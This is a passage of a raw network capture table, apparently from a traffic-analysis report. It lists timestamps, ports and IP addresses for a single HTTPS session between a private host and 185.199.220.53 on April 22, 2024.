Apr 22, 2024 01:18:17.424418926 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.424470901 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424498081 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.424516916 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.424536943 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.424567938 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424580097 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.424608946 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424638033 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424779892 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.424792051 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424796104 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.424849987 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424861908 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.424889088 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424917936 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.424971104 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.424988031 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.425035000 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.425046921 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.425075054 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.425075054 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.425098896 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.425651073 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.425666094 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.425707102 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.425719023 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.425757885 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.425776958 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.426139116 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.426153898 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.426206112 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.426218987 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.426270962 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.426403046 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.426415920 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.426474094 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.426485062 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.426558971 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.426563025 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.426574945 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.426603079 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.426604033 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.426620960 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.426631927 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.426659107 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.426696062 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.427210093 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.427222967 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.427268982 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.427282095 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.427567005 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.427584887 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.427635908 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.427648067 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.427691936 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.427691936 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.427726984 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.427741051 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.427798986 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.427810907 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.427829027 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.427845955 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.427880049 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.427897930 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.427922010 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.428095102 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.428117037 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.428150892 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.428164005 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.428190947 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.428395987 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.428412914 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.428467989 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.428467989 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.428483009 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.428524971 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.428693056 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.428705931 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.428744078 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.428755045 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.428783894 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.428808928 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.428811073 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.428822041 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.428874969 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.428877115 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.428911924 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.428941011 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.428957939 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.429296970 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.429311037 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.429361105 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.429373026 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.429409027 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.429426908 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.429459095 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.429471970 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.429502964 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.429523945 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.429600954 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.429615974 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.429656982 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.429668903 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.429697037 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.429828882 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.429841995 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.429857969 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.429894924 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.429907084 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.429939032 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.429939032 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.429972887 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.429989100 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.430026054 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.430053949 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.430079937 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.430114985 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.430140972 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.430159092 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.430191994 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.430202961 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.430229902 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.430577993 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.430924892 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.430938959 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.430977106 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.430988073 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.431014061 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.431147099 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.431180954 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.431195974 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.431231976 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.431242943 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.431272030 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.431291103 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.431339025 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.431353092 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.431391001 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.431401968 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.431427956 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.431447029 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.431561947 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.431576967 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.431618929 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.431631088 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.431658030 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.431720018 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.431934118 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.431948900 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.431997061 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.432009935 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432056904 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.432118893 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432135105 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432173014 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.432183981 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432209969 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.432226896 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432245970 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432277918 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.432296038 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432317972 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.432334900 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.432460070 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432472944 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432519913 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.432534933 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432571888 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432589054 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432621956 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.432635069 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432662010 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.432754040 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432768106 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432802916 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.432817936 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432843924 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.432863951 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432879925 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432908058 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.432919979 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.432949066 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.432969093 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433044910 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433059931 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433099985 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433109999 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433135986 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433163881 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433181047 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433195114 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433232069 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433243036 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433268070 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433301926 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433320045 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433334112 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433345079 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433372021 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433392048 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433429003 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433444023 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433485985 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433496952 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433526039 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433545113 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433598042 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433610916 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433651924 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433669090 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433691025 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433706045 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433711052 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433722019 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433751106 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433752060 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433772087 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433783054 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.433808088 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.433826923 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.434006929 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.434020042 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.434053898 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.434063911 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.434092045 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.434113026 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.434133053 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.434148073 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.434191942 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.434201956 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.434226990 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.434364080 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.434381008 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.434420109 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.434436083 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.434459925 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.434499025 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.434676886 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.434695959 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.434734106 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.434746027 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.434770107 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.434789896 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.434791088 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.434802055 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.434818983 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.434845924 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.434866905 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.434890032 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.435046911 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.435060024 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.435103893 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.435122013 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.435141087 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.435144901 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.435162067 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.435190916 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.435209036 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.435231924 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.435404062 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.435416937 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.435447931 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.435461044 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.435487986 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.435504913 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.435518026 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.435533047 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.435570002 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.435585976 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.435609102 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.435673952 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.435726881 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.435739994 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.435806036 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.435806036 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.435818911 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.435869932 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.446877003 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.446892023 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.446938992 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.446953058 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.446983099 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.447001934 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.447015047 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.447030067 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.447087049 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.447098017 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.447123051 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.447124004 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.447154999 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.447187901 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.447200060 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.447233915 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.447285891 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.447302103 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.447315931 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.447362900 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.447375059 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.447400093 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.447417021 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.447467089 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.447480917 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.447518110 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.447529078 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.447557926 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.447557926 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.447629929 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.447645903 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.447688103 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.447704077 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.447726965 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.447743893 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.448016882 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.448031902 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.448066950 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.448079109 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.448127031 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.448127985 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.448488951 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.448503017 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.448539019 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.448550940 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.448575020 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.448591948 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.448993921 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.449013948 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.449045897 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.449057102 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.449091911 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.449091911 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.449356079 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.449372053 CEST	443	49720	185.199.220.53	192.168.2.5
